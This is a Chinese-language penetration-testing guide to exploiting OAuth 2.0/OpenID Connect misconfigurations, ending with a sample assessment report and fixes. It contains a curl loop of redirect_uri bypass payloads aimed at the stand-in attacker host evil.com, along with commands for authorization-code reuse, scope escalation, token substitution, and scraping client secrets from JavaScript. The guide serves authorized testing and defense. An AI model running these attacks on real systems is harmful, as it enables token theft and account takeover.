exploiting-oauth-misconfiguration

利用 OAuth 配置错误

何时使用

• 在授权渗透测试期间，当应用使用 OAuth 2.0 或 OpenID Connect 进行身份验证时
• 在评估 "使用 Google/Facebook/GitHub 登录" 社交登录实现时
• 用于测试应用之间的单点登录（SSO）流程
• 在评估使用 OAuth 持有者令牌的 API 授权时
• 在对充当 OAuth 提供方或使用方的应用进行安全评估期间

前提条件

• 授权：涵盖 OAuth/SSO 流程的书面渗透测试协议
• Burp Suite Professional：用于拦截 OAuth 重定向流程
• 带 DevTools 的浏览器：用于监控重定向链和令牌泄露
• 多个测试账户：在 OAuth 提供方和目标应用上均需具备
• curl：用于手动 OAuth 流程测试
• 攻击者控制的服务器：用于接收被重定向的令牌/授权码

工作流

步骤 1：梳理 OAuth 流程与配置

识别 OAuth 授权类型、端点和配置。

# Discover OAuth/OIDC configuration endpoints
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .

# Key endpoints to identify:
# - Authorization endpoint: /oauth/authorize
# - Token endpoint: /oauth/token
# - UserInfo endpoint: /oauth/userinfo
# - JWKS endpoint: /oauth/certs

# Capture the authorization request in Burp
# Typical authorization code flow:
# GET /oauth/authorize?
#   response_type=code&
#   client_id=CLIENT_ID&
#   redirect_uri=https://app.example.com/callback&
#   scope=openid profile email&
#   state=RANDOM_STATE

# Identify the grant type:
# - Authorization Code: response_type=code
# - Implicit: response_type=token
# - Hybrid: response_type=code+token

# Check for PKCE parameters:
# - code_challenge=...
# - code_challenge_method=S256

步骤 2：测试重定向 URI 操纵

尝试将授权码或令牌重定向到攻击者控制的域。

# Test open redirect via redirect_uri
# Original: redirect_uri=https://app.example.com/callback
# Attempt various bypasses:

BYPASSES=(
  "https://evil.com"
  "https://app.example.com.evil.com/callback"
  "https://[email protected]/callback"
  "https://app.example.com/callback/../../../evil.com"
  "https://evil.com/?.app.example.com"
  "https://evil.com#.app.example.com"
  "https://app.example.com/callback?next=https://evil.com"
  "https://APP.EXAMPLE.COM/callback"
  "https://app.example.com/callback%0d%0aLocation:https://evil.com"
  "https://app.example.com/CALLBACK"
  "http://app.example.com/callback"
  "https://app.example.com/callback/../../other-path"
)

for uri in "${BYPASSES[@]}"; do
  echo -n "Testing: $uri -> "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
  echo "$status"
done

# If redirect_uri validation is path-based, try path traversal
# redirect_uri=https://app.example.com/callback/../attacker-controlled-path

# If subdomain matching, try subdomain takeover + redirect
# redirect_uri=https://abandoned-subdomain.example.com/

步骤 3：测试授权码与令牌窃取

利用泄露途径窃取 OAuth 令牌和授权码。

# Test token leakage via Referer header
# If implicit flow returns token in URL fragment:
# https://app.example.com/callback#access_token=TOKEN
# And the callback page loads external resources,
# the Referer header may leak the URL with the token

# Test for authorization code leakage via Referer
# After receiving code at callback, check if:
# 1. Page loads external images/scripts
# 2. Page has links to external sites
# Burp: Check Proxy History for Referer headers containing "code="

# Test authorization code reuse
CODE="captured_auth_code"
# First use
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

# Second use (should fail but may not)
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

# Test state parameter absence/predictability
# Remove state parameter entirely
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid"
# If no error, CSRF on OAuth flow is possible

步骤 4：测试范围提升与权限操纵

尝试获取超出预期的更多权限。

# Request additional scopes beyond what's needed
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid+profile+email+admin+write+delete&state=test123"

# Test with elevated scope on token exchange
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"

# Test token with manipulated claims
# If JWT access token, try modifying claims (see JWT testing skill)

# Test refresh token scope escalation
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"

# Test client credential flow with elevated permissions
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"

步骤 5：测试通过 OAuth 进行账户接管

利用 OAuth 流程接管受害者账户。

# Test missing email verification on OAuth provider
# 1. Create an account on the OAuth provider with victim's email
# 2. OAuth login to the target app
# 3. If the app trusts the unverified email, account linking occurs

# Test pre-authentication account linking
# 1. Register on target app with victim's email (no OAuth)
# 2. Attacker links their OAuth account to victim's email
# 3. Attacker can now login via OAuth to victim's account

# CSRF on account linking
# If /oauth/link endpoint lacks CSRF protection:
# 1. Attacker initiates OAuth flow, captures the auth code
# 2. Craft a page that submits the code to victim's session
# 3. Victim's account gets linked to attacker's OAuth account

# Test token substitution
# Use authorization code/token from one client_id with another
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"

步骤 6：测试客户端密钥与令牌安全性

评估 OAuth 凭据和令牌的安全性。

# Check for exposed client secrets
# Search JavaScript source code
curl -s "https://target.example.com/static/app.js" | grep -i "client_secret\|clientSecret\|client_id"

# Check mobile app decompilation for hardcoded secrets

# Test token revocation
ACCESS_TOKEN="captured_access_token"
# Use the token
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://api.target.example.com/me"

# Revoke the token
curl -s -X POST "https://auth.target.example.com/oauth/revoke" \
  -d "token=$ACCESS_TOKEN&token_type_hint=access_token"

# Test if revoked token still works
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://api.target.example.com/me"

# Test token lifetime
# Decode JWT access token and check exp claim
echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp
# Long-lived tokens (hours/days) increase attack window

# Check PKCE implementation
# If public client without PKCE, authorization code interception is possible

关键概念

概念	描述
授权码流程	最安全的 OAuth 流程；在服务端用短期授权码换取令牌
隐式流程	已弃用的流程，直接在 URL 片段中返回令牌；易受泄露影响
PKCE	代码交换证明密钥；防止授权码拦截攻击
重定向 URI 验证	服务端验证 redirect_uri 是否与已注册值匹配
State 参数	将 OAuth 请求绑定到用户会话的随机值，用于防止 CSRF
范围提升	请求或获取超出授权的更多权限
令牌泄露	OAuth 令牌通过 Referer 头、日志或浏览器历史记录暴露
开放重定向	将 OAuth redirect_uri 用作开放重定向来窃取令牌

工具与系统

工具	用途
Burp Suite Professional	拦截 OAuth 重定向链并修改参数
OWASP ZAP	自动化 OAuth 流程扫描
Postman	使用环境变量进行手动 OAuth 流程测试
oauth-tools.com	在线 OAuth 流程调试与测试
jwt.io	用于 OAuth 访问令牌的 JWT 令牌分析
浏览器 DevTools	监控网络请求和重定向链

常见场景

场景 1：重定向 URI 子域绕过

OAuth 提供方根据 *.example.com 验证 redirect_uri。攻击者发现一个易受接管影响的子域（old.example.com），将其接管，并窃取重定向到该子域的授权码。

场景 2：缺少 State 参数的 CSRF

OAuth 登录流程未包含或验证 state 参数。攻击者构造一个链接，将受害者登录到攻击者的账户，从而实现账户混淆攻击。

场景 3：隐式流程令牌窃取

应用使用隐式流程，在 URL 片段中接收访问令牌。回调页面加载第三方分析脚本，令牌通过 Referer 头泄露。

场景 4：授权码重用

OAuth 提供方在首次使用后未使授权码失效。攻击者通过 Referer 泄露拦截到授权码后，即使合法用户已完成流程，仍可用其换取访问令牌。

Output Format

## OAuth Security Assessment Report

**Vulnerability**: Redirect URI Validation Bypass
**Severity**: High (CVSS 8.1)
**Location**: GET /oauth/authorize - redirect_uri parameter
**OWASP Category**: A07:2021 - Identification and Authentication Failures

### OAuth Configuration
| Property | Value |
|----------|-------|
| Grant Type | Authorization Code |
| PKCE | Not implemented |
| State Parameter | Present but predictable |
| Token Type | JWT (RS256) |
| Token Lifetime | 1 hour |
| Refresh Token | 30 days |

### Findings
| Finding | Severity |
|---------|----------|
| Redirect URI path traversal bypass | High |
| Missing PKCE on public client | High |
| Authorization code reusable | Medium |
| State parameter uses sequential values | Medium |
| Client secret exposed in JavaScript | Critical |
| Token not revoked after password change | Medium |

### Recommendation
1. Implement strict redirect_uri validation with exact string matching
2. Require PKCE for all clients (especially public/mobile clients)
3. Invalidate authorization codes after first use
4. Use cryptographically random state parameters tied to user sessions
5. Migrate from implicit flow to authorization code flow with PKCE
6. Never expose client secrets in client-side code